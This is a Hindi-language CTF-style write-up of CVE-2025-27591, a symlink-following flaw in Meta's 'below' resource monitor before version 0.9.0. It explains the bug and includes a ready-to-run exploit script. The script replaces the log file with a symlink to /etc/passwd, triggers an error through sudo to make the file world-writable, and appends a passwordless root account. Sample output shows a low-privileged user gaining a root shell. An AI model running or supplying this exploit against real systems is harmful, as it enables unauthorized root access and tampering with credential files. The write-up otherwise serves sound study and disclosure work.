
CVE-2025-27591 – मेटा नीचे सिमलिंक के बाद स्थानीय विशेषाधिकार वृद्धि (HackTheBox CTF)
below सिमलिंक स्थानीय विशेषाधिकार वृद्धि| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2025-27591 |
| सॉफ्टवेयर | Meta below (सिस्टम संसाधन मॉनिटर) |
| प्रभावित संस्करण | < 0.9.0 |
| भेद्यता | सिमलिंक अनुसरण → रूट के रूप में मनमानी फ़ाइल अधिलेखित |
| प्रमाणीकरण | below तक sudo पहुंच वाला स्थानीय उपयोगकर्ता |
| प्रभाव | रूट तक स्थानीय विशेषाधिकार वृद्धि |
| संदर्भ | HackTheBox CTF के दौरान खोजा गया |
below सिस्टम संसाधन निगरानी उपकरण (Meta Platforms, Inc. द्वारा) के त्रुटि लॉगिंग तंत्र में एक दोष है। जब इसे sudo के माध्यम से आमंत्रित किया जाता है, तो यह /var/log/below/ में स्थित अपनी लॉग फ़ाइलों पर 0666 अनुमतियाँ बलपूर्वक सेट करता है, बिना पहले जाँचे कि लक्ष्य पथ एक सिमलिंक है या नहीं। यह एक स्थानीय हमलावर को लॉग फ़ाइल को किसी भी रूट-लेखन योग्य फ़ाइल की ओर इशारा करने वाले सिमलिंक से बदलने की अनुमति देता है, जिससे प्रभावी रूप से उस फ़ाइल को नियंत्रित सामग्री से अधिलेखित किया जा सकता है।
नीचे दिए गए संचालन below < 0.9.0 में लॉगिंग कोड द्वारा रूट के रूप में चलने पर अनुक्रम में किए जाते हैं:
/var/log/below/error_root.logchmod(path, 0o666) को कॉल करता है — यह जाँचे बिना कि यह सिमलिंक है या नहींचरण 4 पर, यदि निष्पादन से पहले पथ को सिमलिंक से बदल दिया गया था, तो लेखन सिमलिंक के लक्ष्य पर चला जाता है।
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" क्यों काम करता हैअमान्य समय स्ट्रिंग पास करने से below त्रुटि संदेश लॉग करने के लिए मजबूर होता है। त्रुटि पथ लॉगिंग कोड तक पहुँचता है जो फ़ाइल पर आँख बंद करके लिखता है, जो अब हमारा सिमलिंक है।
chmod +x exploit.sh
./exploit.sh
पूर्वापेक्षा: वर्तमान उपयोगकर्ता के पास
/usr/bin/belowनिष्पादित करने के लिएsudoअधिकार होने चाहिए।
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
भेद्यता को below संस्करण 0.9.0 में ठीक किया गया था। फिक्स लॉगिंग पथ में किसी भी फ़ाइल संचालन से पहले एक सिमलिंक जाँच शुरू करता है।